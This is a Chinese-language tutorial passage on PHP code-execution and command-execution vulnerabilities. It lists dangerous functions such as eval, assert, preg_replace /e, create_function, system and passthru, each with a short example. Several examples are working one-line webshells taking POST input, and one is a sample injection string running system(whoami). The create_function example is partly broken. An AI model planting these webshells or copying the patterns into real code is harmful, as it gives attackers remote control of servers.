代碼執行
代碼執行是指攻擊者通過瀏覽器或者其他客戶端軟件提交一些用戶自己構造的PHP代碼至服務器程序,服務器程序通過eval、assert及reg_replace等函數執行用戶提交的PHP代碼。
eval assert
/* * evil1=phpinfo(); */ @eval($_POST['evil1']); @assert($_POST['evil2']);
preg_replace
Preg_replace函數存在模式修飾符,其中,修飾符e會讓preg_replace函數替換后的字符串作為PHP代碼去執行。
// h=phpinfo();
preg_replace("/test/e",$_POST["h"],"jutst test");
call_user_func
@call_user_func($_GET['fun'],$_POST['arg']);
create_function
// ?uid=1;}system(whoami);/*
$uid=$_GET['uid']; $code='echo'.$func.'test'.$uid.'.'; echo $str2; create_function('$func',$code);
array_map
$func=$_GET['func']; $argv=$_GET['argv']; $arr[0]=$argv; array_map($func,$arr);
命令執行
命令執行就是調用一些可以執行系統命令的函數來實現在系統層面添加賬戶、修改賬戶密碼及安裝rootkit等操作。常見敏感函數有system、exec、shell_ exec及passthru等函數。
<?php /* * eg: c=tasklist */ $cmd=$_POST['c']; @system($cmd); echo @exec($_POST['c2']); echo @shell_exec($_POST['c3']); @passthru($_POST['c4']);